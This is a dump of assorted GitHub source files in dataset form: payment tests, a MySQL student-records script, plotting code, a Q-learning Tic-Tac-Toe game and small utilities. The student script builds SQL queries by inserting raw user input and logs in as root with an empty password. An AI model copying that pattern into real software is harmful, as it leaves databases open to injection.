CreateTransactionAction(**params).run()\n\n    transaction = await storage.transaction.get(transaction.transaction_id)\n    assert_that(transaction.status, equal_to(TransactionStatus.CANCELLED))\n\n\n@pytest.mark.asyncio\nasync def test_no_tds(mocker, params, order):\n    mocker.patch.object(\n        KaznaClient,\n        'pay',\n        mocker.AsyncMock(return_value=PayResponse(payment_id=44444)),\n    )\n\n    transaction = await CreateTransactionAction(**params).run()\n\n    assert_that(transaction.acs_url, equal_to(None))\n\n\n@pytest.mark.asyncio\nasync def test_authorizes_user(storage, params, order):\n    params['uid'] = order.uid + 1\n    with pytest.raises(OrderNotFoundError):\n        await CreateTransactionAction(**params).run()\n\n\n@pytest.mark.asyncio\nasync def test_unknown_payment_method(storage, params, order):\n    params['payment_method'] = 'card'\n    with pytest.raises(PaymentMethodNotSupportedError):\n        await CreateTransactionAction(**params).run()\n\n\n@pytest.mark.parametrize(\n    'code, expected_exc',\n    (\n        (KaznaAPIErrorCode.PAYMENT_ALREADY_EXISTS, BillAlreadyPaidError),\n        (None, CoreFailError),\n    ),\n)\n@pytest.mark.asyncio\nasync def test_kazna_errors(storage, mocker, params, order, code, expected_exc):\n    mocker.patch.object(\n        KaznaClient,\n        'pay',\n        mocker.AsyncMock(\n            side_effect=KaznaAPIError(\n                method='method',\n                service='service',\n                status_code=200,\n                params={'code': code},\n            )\n        ),\n    )\n\n    with pytest.raises(expected_exc):\n        await CreateTransactionAction(**params).run()\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"pay/tests/unit/core/actions/transaction/test_create.py","file_name":"test_create.py","file_ext":"py","file_size_in_byte":10120,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"24330978106","text":"\n# Assumption 1 - make sure to run Sql server before executing the code to prevent DB not found errors.\n# Assumption 2 - Student table created with primary key Student_id\n# Assumption 3 - Attendance table created with a composite key consist with Student_id and Date\n# Assumption 4 - Each time the code will run it will check for already created DB and load existing data from it\n\nimport mysql.connector\nfrom mysql.connector import Error\n\nprint(\"*\"*10, \"Wellcome to Class Student Management System\", \"*\"*10, \"\"\"\\n\n\\tPress 1 to Enter student data and attendance data\n\\tPress 2 to Update student details\n\\tPress 3 to Delete student details\n\\tPress 4 to Show tables data (View all or Selected)\n\\tPress 5 to quite\n\"\"\")\n\n# Keep number of records in Student table under 5\ncount=0\n\n# Connecting to DB\ntry:\n    connection = mysql.connector.connect(host='localhost', database='Class_Details', user='root', password='')\n    cursor = connection.cursor()\nexcept Error as e:\n    connection = mysql.connector.connect(host=\"localhost\", user=\"root\", password=\"\")\n    cursor = connection.cursor()\n    cursor.execute(\"CREATE DATABASE Class_Details\")\n\nprint(\"You're connected to database Class_Details :)\")\n\ntry:\n    cursor.execute(\"CREATE TABLE Student (Student_id INT(30) PRIMARY KEY, first_name VARCHAR(225), last_name VARCHAR(225), Address VARCHAR(225), Tel VARCHAR(225))\")\nexcept Error as e:\n    print(\"Table student already created :)\")\n\ntry:\n    cursor.execute(\"CREATE TABLE Attendance (Student_id INT(30), Date VARCHAR(225), attendance VARCHAR(30), PRIMARY KEY (Student_id, Date))\")\nexcept Error as e:\n    print(\"Table attendance already created :)\")\n\n# To assign already created rows in Student table\ncursor.execute(\"SELECT COUNT(*) FROM Student;\")\nresult = cursor.fetchone()[0]\ncount=result\nprint(\"Student Table contain \", result, \" Rows .....\")\n\n\n# fun 1 (Enter data for student table)\ndef input_data(s_count):\n    print(f\"Student {s_count} details ....\")\n    while True:\n        try:\n            s_id = int(input(\"Enter student id : \"))\n        except ValueError:\n            print(\"Enter a integer\")\n            continue\n        fn = input(\"Enter student first name : \")\n        ln = input(\"Enter student last name : \")\n        ad = input(\"Enter student address : \")\n        tel = input(\"Enter student Tel : \")\n        cursor.execute(f\"INSERT INTO Student (Student_id,first_name,last_name,Address,Tel)VALUES('{s_id}','{fn}','{ln}','{ad}','{tel}')\")\n        # print(\"\\n....Set up attendance....\\n\")\n        print(\"Data entered successfully\")\n        break\n\n# fun 2 (Enter data for attendance table)\ndef input_attendance(s_count, s_id):\n    print(f\"Student {s_count} attendance ....\")\n    while True:\n        date = input(\"Enter date : \")\n        attendance = input(f\"Is student {s_id} present [Y/N] : \")\n        attendance=attendance.lower()\n        if(attendance=='y') | (attendance=='n'):\n            cursor.execute(f\"INSERT INTO Attendance (Student_id,Date,attendance)VALUES('{s_id}','{date}','{attendance}')\")\n            break\n        else:\n            print(\"attendance type you entered is not valid\")\n\n# fun 3 (Check the Previous student id when updating)\ndef previous_student_id():\n    while True:\n        try:\n            id = int(input(\"Enter student id : \"))\n            return id\n        except ValueError:\n            print(\"Enter a integer\")\n            continue\n\nwhile True:\n    choice = input(\"Select operation : \")\n    if choice == \"1\":\n# Control fun 1 and fun 2 to insert data to the tables\n        count=count+1\n        if count<=5:\n            input_data(count)\n            connection.commit()\n        else:\n            print(\"Max Student count reached (5)!\")\n    elif choice == \"2.5\":\n        s_id = previous_student_id()\n        input_attendance(count, s_id)\n    elif choice == \"2\":\n# Below code for updating a record\n        print(\"What do you want to update ^_^\")\n        print(\"\"\"\n        0 - Student ID\n        1 - First name\n        2 - Last name\n        3 - Address\n        4 - Tel\n        \"\"\")\n        ch = input(\">>>\")\n        if ch == \"0\":\n            print(\"New ID:\")\n            st_id = previous_student_id()\n            print(\"Old ID:\")\n            z = previous_student_id()\n            cursor.execute(f\"UPDATE Student SET Student_id = {st_id} WHERE Student_id = {z}\")\n            cursor.execute(f\"UPDATE Attendance SET Student_id = {st_id} WHERE Student_id = {z}\")\n        elif ch == \"1\":\n            fn = input(\"Enter student new first name : \")\n            z = previous_student_id()\n            cursor.execute(f\"UPDATE Student SET first_name = '{fn}' WHERE Student_id = {z}\")\n        elif ch == \"2\":\n            ln = input(\"Enter student new last name : \")\n            z = previous_student_id()\n            cursor.execute(f\"UPDATE Student SET last_name = '{ln}' WHERE Student_id = {z}\")\n        elif ch == \"3\":\n            ad = input(\"Enter student new address : \")\n            z = previous_student_id()\n            cursor.execute(f\"UPDATE Student SET Address = '{ad}' WHERE Student_id = {z}\")\n        elif ch == \"4\":\n            tel = input(\"Enter student new telephone No  : \")\n            z = previous_student_id()\n            cursor.execute(f\"UPDATE Student SET Tel = '{tel}' WHERE Student_id = {z}\")\n        else:\n            print(\"Not a valid input\")\n            continue\n        connection.commit()\n    elif choice == \"3\":\n# Deleting data from Student table\n        print(\"ID of the student you want to delete from the table\")\n        st_id = previous_student_id()\n        cursor.execute(f\"DELETE FROM Student WHERE Student_id = {st_id}\")\n        cursor.execute(f\"DELETE FROM Attendance WHERE Student_id = {st_id}\")\n        connection.commit()\n    elif choice == \"4\":\n# Display Data\n        print(\"\"\"\n        Press 1 - See all the Tables with all the data\n        Press 2 - Specific data\n        \"\"\")\n        cc = input(\">>>>\")\n        if cc == \"1\":\n            # Display the content of student table\n            print(\"... Table Student ... \\n\")\n            cursor.execute(\"SELECT * FROM Student\")\n            result = cursor.fetchall()\n            for x in result:\n                print(x)\n            # Display the content of Attendance table\n            print(\"... Table Attendance ... \\n\")\n            cursor.execute(\"SELECT * FROM Attendance\")\n            result = cursor.fetchall()\n            for x in result:\n                print(x)\n        elif cc == \"2\":\n            print(\"Enter the student id you want fetch data from\")\n            st_id = previous_student_id()\n            cursor.execute(f\"SELECT Date, attendance FROM Attendance WHERE Student_id = {st_id}\")\n            result=cursor.fetchall()\n            for x in result:\n                print(x)\n        else:\n            print(\"Invalid input\")\n            continue\n    elif choice == \"5\":\n# Program termination\n        cursor.close()\n        print(\"<-> Program terminated <->\")\n        break\n    else:\n        print(\"Invalid operation try again !\")\n\n\n# reference - https://pynative.com/python-mysql-database-connection/\n# reference - https://www.w3schools.com/python/python_mysql_getstarted.asp","repo_name":"Sasiru382/SQL_Plus_Python_Project","sub_path":"StudentDataSystem.py","file_name":"StudentDataSystem.py","file_ext":"py","file_size_in_byte":7102,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"29583337606","text":"class Solution:\n    def restoreString(self, s: str, indices: List[int]) -> str:\n        sol = []\n        for i, c in enumerate(s):\n            sol.append((indices[i], c))\n        sol.sort()\n        answer = \"\"\n        for c in sol:\n            answer += c[1]\n        return answer\n        ","repo_name":"Ihyun/LeetCode","sub_path":"shuffle-string/shuffle-string.py","file_name":"shuffle-string.py","file_ext":"py","file_size_in_byte":289,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"38919022950","text":"import matplotlib.pyplot as plt\nimport pandas as pd\n\npath = '../data/labelled_supertree/ottnames-childrenPlot.csv'\n# path = '../data/labelled_supertree/ottnames-childrenPlot-cellular_organisms.csv'\n# path = '../data/labelled_supertree/ottnames-childrenPlot-eukaryota.csv'\n\n\ndata = pd.read_csv(path, header=None)\n# print(data)\n\nprint(len(data))\n# plt.hist(data, bins=154)\n# plt.hist(data, bins=221)\n# plt.hist(data, bins=154)\n# plt.hist(data, bins=92)\nplt.hist(data, bins=235)\n# plt.xlim(0,31000)\n# plt.xlim(0,8900)\n# plt.xlim(0,31000)\n# plt.xlim(0,1000)\n# plt.xlim(0,5000)\n# plt.xscale('log')\nplt.yscale('log')\n# plt.title(\"Children per Node - Cellular Organisms\")\n# plt.title(\"Children per Node - Eukaryota\")\n# plt.title(\"Children per Node - Bacteria\")\n# plt.title(\"Children per Node - Archaea\")\nplt.title(\"Children per Node - Metazoa\")\n\nplt.xlabel(\"#Children\")\nplt.ylabel(\"#Nodes*#Children\")\n# i = 30818/154\n# i = 8855/221\n# i = 30818/154\n# i = 918/92\ni = 4747/235\nprint(i)\n\n# plt.text(22500, 100000, \"width of bins = 200\")\n# plt.text(22500, 50000, \"highest degree of node is 30818\")\n# plt.text(22500, 25000, \"#nodes = 265641\")\n# plt.text(6500, 100000, \"width of bins = 40\")\n# plt.text(6500, 50000, \"highest degree of node is 8855\")\n# plt.text(6500, 25000, \"#nodes = 243237\")\n# plt.text(20000, 10000, \"width of bins = 200\")\n# plt.text(20000, 5000, \"highest degree of node is 30818\")\n# plt.text(700, 400, \"width of bins = 10\")\n# plt.text(700, 250, \"highest degree of node is 919\")\n# plt.text(700, 150, \"#nodes = 522\")\nplt.text(3500, 100000, \"width of bins = 20\")\nplt.text(3500, 50000, \"highest degree of node is 4747\")\nplt.text(3500, 25000, \"#nodes = 180687\")\nplt.show()\n","repo_name":"Irallia/IZW-HU-Parasites","sub_path":"scripts/plotChildrenHistogram.py","file_name":"plotChildrenHistogram.py","file_ext":"py","file_size_in_byte":1672,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"}
+{"seq_id":"71652099601","text":"from .config import os_name\nimport collections\nimport re\nimport os\n\n\n__all__ = ['CoreFilenameInfo', 'core_filename_info']\n\n\nCoreFilenameInfo = collections.namedtuple(\n    'CoreFilenameInfo',\n    ['filename',\n     'is_zip',\n     'is_keentools_core',\n     'version',\n     'os',\n     'is_nightly',\n     'nightly_build_number'])\n\n\ndef _parse_installation_filename(filename):\n    m = re.match('keentools-core-(?P<version>\\d+\\.\\d+\\.\\d+)' + \\\n                 '(?:\\.(?P<nightly_version>\\d+))?-(?P<os>[^-]+)\\.zip',\n                 filename)\n    if not m:\n        return None\n    \n    version_parsed = tuple([int(x) for x in m.group('version').split('.')])\n    \n    return (version_parsed, m.group('nightly_version'), m.group('os'))\n\n\ndef core_filename_info(filepath):\n    _, filename = os.path.split(filepath)\n    is_zip = filename.lower().endswith('.zip')\n    parse_result = _parse_installation_filename(filename)\n    if parse_result is None:\n        return CoreFilenameInfo(filename, is_zip, False, None, None, None, None)\n    \n    version, nightly_version, os_parsed = parse_result\n    \n    return CoreFilenameInfo(filename, is_zip,\n        True, version, os_parsed,\n        nightly_version is not None, nightly_version)\n","repo_name":"KeenTools/keentools-blender","sub_path":"keentools/blender_independent_packages/pykeentools_loader/keentools_core_filename_info.py","file_name":"keentools_core_filename_info.py","file_ext":"py","file_size_in_byte":1217,"program_lang":"python","lang":"en","doc_type":"code","stars":105,"dataset":"github-code","pt":"3"}
+{"seq_id":"30117700637","text":"from __future__ import annotations\n\nfrom typing import TYPE_CHECKING, Optional\n\nfrom pygame import Vector2\n\nfrom utilities import UnlockPack, Effect\nfrom ..battleroom import DMBattleRoom\n\nif TYPE_CHECKING:\n    from dm.core.game.game import DMGame\n    from dm.core.objects.unit import DMUnit\n################################################################################\n\n__all__ = (\"Plague\",)\n\n################################################################################\nclass Plague(DMBattleRoom):\n\n    def __init__(self, game: DMGame, position: Optional[Vector2] = None, level: int = 1):\n\n        super().__init__(\n            game, position,\n            _id=\"ROOM-200\",\n            name=\"Plague\",\n            description=(\n                \"Gives {value} Poison and Corpse Explosion to all heroes in \"\n                \"adjacent rooms whenever a hero enters the room.\"\n            ),\n            level=level,\n            rank=6,\n            unlock=UnlockPack.Awakening,\n            effects=[\n                Effect(name=\"Status\", base=24, per_lv=16),\n            ]\n        )\n\n################################################################################\n    def on_enter(self, unit: DMUnit) -> None:\n\n        for room in self.adjacent_rooms + [self]:\n            for hero in room.heroes:\n                for status in (\"Poison\", \"Corpse Explosion\"):\n                    hero.add_status(status, self.effects[\"Status\"], self)\n\n################################################################################\n","repo_name":"AllegroVivo/DungeonDefense","sub_path":"dm/rooms/SixStar/Plague.py","file_name":"Plague.py","file_ext":"py","file_size_in_byte":1516,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"34809916052","text":"from datetime import datetime\nimport schedule\nimport sys\nfrom collector import PriceManipulator\nfrom config import load_config\nfrom data_store import save_record\nfrom tap30 import Tap30\nfrom snapp import Snapp\nfrom time import sleep\nfrom wait_time_calculator import waitTimeCalculator\n\n#initialize\nconfig_path = 'config.yaml'\nif len(sys.argv) == 2:\n    config_path = sys.argv[1]\nconfig = load_config(config_path)\npm = PriceManipulator()\npm.add_app(Snapp, config['snapp_token'])\npm.add_app(Tap30, config['tap30_token'])\n\ndef collect_prices():\n    first_try = True\n    wt = waitTimeCalculator()\n    while wt.still_error() or first_try:\n        first_try = False\n        try:\n            app_price = pm.get_all_prices(config['start_cordinate'], config['dest_cordinate'])\n            for app_name, price in app_price.items():\n                print(datetime.now().strftime(\"%H:%M\"), app_name, price)\n                save_record(price, config['result_store_path'][app_name])\n            wt.reset()\n        except Exception as e:\n            print(e)\n            wt.count_error()\n            sleep_time = wt.get_wait_time()\n            print(f\"waiting {sleep_time} seconds.\")\n            sleep(sleep_time)\n\n# schedule\nschedule.every(config['get_price_intervals']).minutes.do(collect_prices)\nwhile True:\n    schedule.run_pending()\n    sleep(1)","repo_name":"erfan-mehraban/taxi-rent-data-collector","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1335,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"40717320071","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport Transmisor\nimport Receptor\n\ndef generarSeno(t, f, A):\n    return A * np.sin(2 * np.pi * f * t)\n\n#Armado de señales de prueba\nfs = 100\nA = 1\nd = 1\n\nt = np.linspace(0, d, fs * d)\n\nf1 = 200\nseñal1 = generarSeno(t, f1, A)\n\nf2 = 300\nseñal2 = generarSeno(t, f2, A)\n\nf3 = 500\nseñal3 = generarSeno(t, f3, A)\n\nseñales = [señal1, señal2, señal3]\n\n#Grafico las 3 señales\nfig, (ax1, ax2, ax3) = plt.subplots(3, 1)\n\nax1.stem(t, señal1, 'r', markerfmt = ' ')\nax1.set_title('Señal 1, Frecuencia 200 Hz')\nax1.set_ylabel('Amplitud (A)')\nax1.set_xlabel('Tiempo (t)')\n\nax2.stem(t, señal2, 'y', markerfmt = ' ')\nax2.set_title('Señal 2, Frecuencia 300 Hz')\nax2.set_ylabel('Amplitud (A)')\nax2.set_xlabel('Tiempo (t)')\n\nax3.stem(t, señal3, 'b', markerfmt = ' ')\nax3.set_title('Señal 3, Frecuencia 500 Hz')\nax3.set_ylabel('Amplitud (A)')\nax3.set_xlabel('Tiempo (t)')\n\nfig.tight_layout(pad=0.8)\n\nplt.show()\n\n#Transmitiendo señal\nseñalMultiplexada = Transmisor.multiplexarSeñal(señales)\n\n#Grafico la señal multiplexada \ncantCanales = len(señales) #3\ndTotal = d * cantCanales\ntCanal = np.linspace(0, dTotal, fs * dTotal)\n\nplt.figure(figsize=(12,2))\nplt.stem(tCanal[0::3], señalMultiplexada[0::3], 'r', markerfmt = ' ')\nplt.stem(tCanal[1::3], señalMultiplexada[1::3], 'y', markerfmt = ' ')\nplt.stem(tCanal[2::3], señalMultiplexada[2::3], 'b', markerfmt = ' ')\nplt.title('Señal multiplexada')\nplt.ylabel('Amplitud (A)')\nplt.xlabel('Tiempo (t)')\n\nplt.show()\n\n#recibiendo  señal \nseñalDemultiplexada = Receptor.demultiplexarSeñal(señalMultiplexada, cantCanales)\n\n#Grafico las señales demultiplexadas\nfig, (ax1, ax2, ax3) = plt.subplots(3, 1)\n\nsenal1_demultiplexada = señalDemultiplexada[0]\nax1.stem(t, senal1_demultiplexada, 'r', markerfmt = ' ')\nax1.set_title('Señal 1 demultiplexada')\nax1.set_ylabel('Amplitud (A)')\nax1.set_xlabel('Tiempo (t)')\n\nsenal2_demultiplexada = señalDemultiplexada[1]\nax2.stem(t, senal2_demultiplexada, 'y', markerfmt = ' ')\nax2.set_title('Señal 2 demultiplexada')\nax2.set_ylabel('Amplitud (A)')\nax2.set_xlabel('Tiempo (t)')\n\nsenal3_demultiplexada = señalDemultiplexada[2]\nax3.stem(t, senal3_demultiplexada, 'b', markerfmt = ' ')\nax3.set_title('Señal 3 demultiplexada')\nax3.set_ylabel('Amplitud (A)')\nax3.set_xlabel('Tiempo (t)')\n\nfig.tight_layout(pad=0.8)\n\nplt.show()","repo_name":"plopez90/procesamiento-senales-untref2022","sub_path":"TP_final-2022/Prueba_señal_seno.py","file_name":"Prueba_señal_seno.py","file_ext":"py","file_size_in_byte":2358,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"35160325892","text":"from django.urls import path\n\nfrom . import views\n\nurlpatterns = [\n    path(\"\", views.index, name='index'),\n    path(\"eng/\", views.eng_index, name='eng_index'),\n    path(\"ru/\", views.ru_index, name='ru_index'),\n    path(\"elmuse/\", views.elmuse, name='elmuse'),\n\n]","repo_name":"Dalalaler/project","sub_path":"src/home/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":263,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"39422297498","text":"from gi.repository import (EosCompanionAppService, GLib)\n\nBYTE_CHUNK_SIZE = 256\n\nLOAD_FROM_ENGINE_SUCCESS = 0\nLOAD_FROM_ENGINE_NO_SUCH_CONTENT = 1\n\n\ndef load_record_blob_from_shards(shards, content_id, attr):\n    '''Load a blob for an app and content_id if given a set of shards.'''\n    if attr not in ('data', 'metadata'):\n        raise RuntimeError('attr must be one of \"data\" or \"metadata\"')\n\n    for shard in shards:\n        record = shard.find_record_by_hex_name(content_id)\n\n        if not record:\n            continue\n\n        return LOAD_FROM_ENGINE_SUCCESS, getattr(record, attr)\n\n    return LOAD_FROM_ENGINE_NO_SUCH_CONTENT, None\n\n\ndef load_record_from_shards_async(shards,\n                                  content_id,\n                                  attr,\n                                  callback):\n    '''Load bytes from stream for app and content_id.\n\n    :attr: must be one of 'data' or 'metadata'.\n\n    Once loading is complete, callback will be invoked with a GAsyncResult,\n    use EosCompanionAppService.finish_load_all_in_stream_to_bytes\n    to get the result or handle the corresponding error.\n\n    Returns LOAD_FROM_ENGINE_SUCCESS if a stream could be loaded,\n    LOAD_FROM_ENGINE_NO_SUCH_CONTENT if the content wasn't found.\n    '''\n    def _callback(_, result):\n        '''Marshal the GAsyncReady callback into an (error, data) callback.'''\n        try:\n            bytes_data = EosCompanionAppService.finish_load_all_in_stream_to_bytes(result)\n        except GLib.Error as error:\n            callback(error, None)\n            return\n\n        callback(None, bytes_data)\n\n    status, blob = load_record_blob_from_shards(shards,\n                                                content_id,\n                                                attr)\n\n    if status == LOAD_FROM_ENGINE_NO_SUCH_CONTENT:\n        GLib.idle_add(\n            lambda: callback(\n                GLib.Error(\n                    'EKN ID {} not found in shards'.format(content_id),\n                    GLib.quark_to_string(EosCompanionAppService.error_quark()),\n                    EosCompanionAppService.Error.INVALID_CONTENT_ID\n                ),\n                None\n            )\n        )\n        return\n\n    EosCompanionAppService.load_all_in_stream_to_bytes(blob.get_stream(),\n                                                       chunk_size=BYTE_CHUNK_SIZE,\n                                                       cancellable=None,\n                                                       callback=_callback)\n","repo_name":"endlessm/eos-companion-app-integration","sub_path":"eoscompanion/ekn_data.py","file_name":"ekn_data.py","file_ext":"py","file_size_in_byte":2506,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"}
+{"seq_id":"40308778754","text":"import numpy as np\nimport random\nimport os\n\nclass TicTacToe:\n    def __init__(self):\n        self.board = None\n        self.current_state = None\n        self.c_learning_rate = 0.1\n        self.c_discount_value = 0.9\n        self.exploration_rate =  0.3\n        self.computer = None\n        self.computer_q_table = None\n        self.max_position_to_choose = None\n        self.max_q_value_to_choose = None\n        self.q_table_player_O = None\n        self.q_table_player_X = None\n        self.previous_action = None\n        self.previous_q_value = None\n        self.previous_state = None\n        self.reward_X = 0\n        self.reward_O = 0\n        self.c_episodes = 1000000\n\n    def save_file(self):\n        np.save(\"q_table_player_O.npy\", self.q_table_player_O)\n        np.save(\"q_table_player_X.npy\", self.q_table_player_X)\n    \n    def load_file(self):\n        self.q_table_player_X = np.load(\"q_table_player_X.npy\", allow_pickle= True)\n        self.q_table_player_O = np.load(\"q_table_player_O.npy\", allow_pickle= True)\n    \n    def have_file(self):\n        if os.path.exists(\"./q_table_player_X\") and os.path.exists(\"./q_table_player_O\"):\n            return True\n        return False\n    \n    def update_exploration_rate(self):\n        if self.exploration_rate > 0.3:\n            self.exploration_rate *= 0.9\n    \n    def make_environment(self):\n        self.board = np.array([['-','-','-'],\n                              ['-','-','-'],\n                              ['-','-','-']], dtype = np.str0)\n        self.current_state = 19682 #Theo công thức convert, đây là trạng thái bảng rỗng\n        \n        if  not self.have_file():\n            self.q_table_player_X = np.random.uniform(low = 0, high = 1, size = [3**9,9])\n            self.q_table_player_O = np.random.uniform(low = 0, high = 1, size = [3**9,9])\n        else:\n            self.load_file()\n        \n        \n    def convert_to_state(self):\n        num = 0\n        multiplier = 1\n        for i in range(3):\n            for j in range(3):\n                if self.board[i, j] == 'X':\n                    num += 0 * multiplier\n                elif self.board[i, j] == 'O':\n                    num += 1 * multiplier\n                else:  # Trường hợp ô trống\n                    num += 2 * multiplier\n                multiplier *= 3\n        return num\n        \n    \n    def reset(self):\n        self.board = np.array([['-','-','-'],\n                              ['-','-','-'],\n                              ['-','-','-']], dtype = np.str0)\n        self.current_state = self.convert_to_state() #Trạng thái bảng rỗng\n        self.previous_action = None\n        self.previous_q_value = None\n        self.previous_state = None\n        self.reward_O = 0\n        self.reward_X = 0\n        self.q_table_player_O = None\n        self.q_table_player_X = None\n        \n    def is_winner(self, player):\n        #Check row\n        for i in range (3):\n            win  = True\n            for j in range (3):\n                if self.board[i][j] != player:\n                    win = False\n                    break\n            if win:\n                return True\n        \n        #Check column\n        for i in range(3):\n            win = True\n            for j in range (3):\n                if self.board[j][i] != player:\n                    win = False\n                    break\n            if win:\n                return True\n\n        #Check main diagonals\n        win = True\n        for i in range(3):\n            if self.board[i][i] != player:\n                win = False\n                break\n        if win:\n            return True\n    \n        #Check sub diagonals\n        win = True\n        for i in range(3):\n            if self.board[i][3-i-1] != player:\n                win = False\n                break\n        if win:\n            return True\n        \n        return False\n    \n    def is_draw(self):\n        draw = True\n        for i in range(3):\n            for j in (range(3)):\n                if self.board[i][j] == '-':\n                    draw = False\n        return draw\n    \n    def get_reward_player_X(self):\n        if self.is_winner('X'):\n            self.reward_X = 1\n            self.reward_O = -1\n        else:\n            self.reward_X = 0\n            self.reward_O = 0\n    \n    def get_reward_player_O(self):\n        if self.is_winner('O'):\n            self.reward_X = 1\n            self.reward_O = -1\n        else:\n            self.reward_X = 0\n            self.reward_O = 0\n    \n    def get_reward(self):\n        self.get_reward_player_X()\n        self.get_reward_player_O()\n        \n    def swap_player(self, player):\n        return 'X' if player == 'O' else 'O'\n    \n    def chooseAction(self, current_state, q_table_player):\n        for i in range(9):\n            if self.board[i//3][i%3] == '-': \n                self.max_q_value_to_choose = q_table_player[current_state][i]\n                self.max_position_to_choose = i\n                break\n        for i in range(9):\n            if self.max_q_value_to_choose < q_table_player[current_state][i]:\n                if self.board[i//3][i%3] == '-': \n                    self.max_q_value_to_choose = q_table_player[current_state][i]\n                    self.max_position_to_choose = i\n        return self.max_position_to_choose\n        \n    def play(self, player):\n        \n        random_value = random.random()\n        action = None\n        \n        if random_value > self.exploration_rate:\n            if player == 'O':\n                action = self.chooseAction(self.current_state, self.q_table_player_O)\n                current_q_value = self.q_table_player_O[self.current_state][action]\n            else:\n                action = self.chooseAction(self.current_state, self.q_table_player_X)  \n                current_q_value = self.q_table_player_X[self.current_state][action]\n        else:\n            action = random.randint(0,8)\n            while self.board[action//3][action%3] != '-':\n                action = random.randint(0,8)\n            if player == 'O':\n                current_q_value = self.q_table_player_O[self.current_state][action]\n            else:\n                current_q_value = self.q_table_player_X[self.current_state][action]\n        \n        self.update_exploration_rate()\n        self.board[action//3][action%3] = player\n        next_q_state = self.convert_to_state()\n        \n        self.reward_X = 0\n        self.reward_O = 0\n        self.get_reward()\n        if player == 'O':\n            new_q_value = (1-self.c_learning_rate)*current_q_value + self.c_learning_rate*(self.reward_O + self.c_discount_value*np.max(self.q_table_player_O[next_q_state]))\n            \n            #if self.previous_action != None or self.previous_q_value != None or self.previous_state != None:\n            if self.reward_O == 1:\n                new_q_value = (1-self.c_learning_rate)*self.previous_q_value + self.c_learning_rate*(self.reward_X + self.c_discount_value*np.max(self.q_table_player_X[self.current_state]))\n                self.q_table_player_X[self.previous_state][self.previous_action] = new_q_value\n            \n            \n            self.q_table_player_O[self.current_state][action] = new_q_value\n            self.previous_state = self.current_state\n            self.current_state = next_q_state\n        else:\n            new_q_value = (1-self.c_learning_rate)*current_q_value + self.c_learning_rate*(self.reward_X + self.c_discount_value*np.max(self.q_table_player_X[next_q_state]))\n            \n            #if self.previous_action != None or self.previous_q_value != None or self.previous_state != None:\n            if self.reward_X == 1:\n                new_q_value = (1-self.c_learning_rate)*self.previous_q_value + self.c_learning_rate*(self.reward_O + self.c_discount_value*np.max(self.q_table_player_O[self.current_state]))\n                self.q_table_player_O[self.previous_state][self.previous_action] = new_q_value\n            \n            self.q_table_player_X[self.current_state][action] = new_q_value\n            self.previous_state = self.current_state\n            self.current_state = next_q_state\n            \n            self.previous_q_value = current_q_value\n            self.previous_action = action\n            \n\n    def train(self):\n        player = 'X'\n        episodes = self.c_episodes\n        \n        for ep in range(episodes):\n            player = 'X'\n            print(\"Eps = {}\".format(ep))\n            \n            while True:\n                self.play(player)\n                if self.is_winner('X') or self.is_winner('O') or self.is_draw():\n                    self.save_file()\n                    self.reset()\n                    self.load_file()\n                    break\n                player = self.swap_player(player)\n\n\n    def play_vs_human(self):\n        self.reset()\n        self.load_file()\n        human = input(\"Choose your turn X/O: \")\n        if (human == 'X'):\n            self.computer = 'O'\n            self.computer_q_table = self.q_table_player_O\n        else: \n            self.computer = 'X'\n            self.computer_q_table = self.q_table_player_X\n        \n        turn  = human\n        while True:\n            if turn == human:\n                action = int(input(\"Input position to fix the spot: \"))\n                while self.board[action//3][action%3] != '-':\n                    print(\"The position has filled yet.\")\n                    action = int(input(\"Input position to fix the spot: \"))\n                self.board[action//3][action%3] = human\n                self.current_state = self.convert_to_state()\n            else:\n                action = self.chooseAction(self.current_state, self.computer_q_table)\n                self.board[action//3][action%3] = self.computer\n                self.current_state = self.convert_to_state()\n            \n            print(self.board)\n            if self.is_winner(human):\n                print(\"Human win!\")\n                break\n            if self.is_winner(self.computer):\n                print(\"Computer win!\")\n                break\n            if self.is_draw():\n                print(\"Draw!!!\")\n                break\n            turn = self.swap_player(turn)\n        \nboardgame = TicTacToe()\nboardgame.make_environment()\n#boardgame.train()\nboardgame.play_vs_human()","repo_name":"thangnguyen021203/Tic-Tac-Toe","sub_path":"TicTacToe_qlearning.py","file_name":"TicTacToe_qlearning.py","file_ext":"py","file_size_in_byte":10276,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"41531063738","text":"import RPi.GPIO as GPIO\nimport datetime\nimport time\n\n# Duration of time motor continues to spin after deactivation.\nMOTOR_LAG = datetime.timedelta(seconds = 0.25)\n\nclass PiGpioMotor():\n  def __init__(self, pin, rpm):\n    self._rpm = rpm\n    self._pin = pin\n\n  def rotate(self, rotations):\n    duration = datetime.timedelta(minutes = rotations / self._rpm)\n    if duration > MOTOR_LAG:\n      duration = duration - MOTOR_LAG\n\n    GPIO.setwarnings(False)\n    GPIO.cleanup(self._pin)\n    GPIO.setmode(GPIO.BOARD)\n    GPIO.setup(self._pin, GPIO.OUT)\n    GPIO.output(self._pin, GPIO.HIGH)\n    GPIO.output(self._pin, GPIO.LOW)\n    time.sleep(duration.total_seconds())\n    GPIO.output(self._pin, GPIO.HIGH)\n    GPIO.cleanup(self._pin)\n","repo_name":"trevorgud/cat-feeder","sub_path":"catfeeder/rpi_motor.py","file_name":"rpi_motor.py","file_ext":"py","file_size_in_byte":727,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
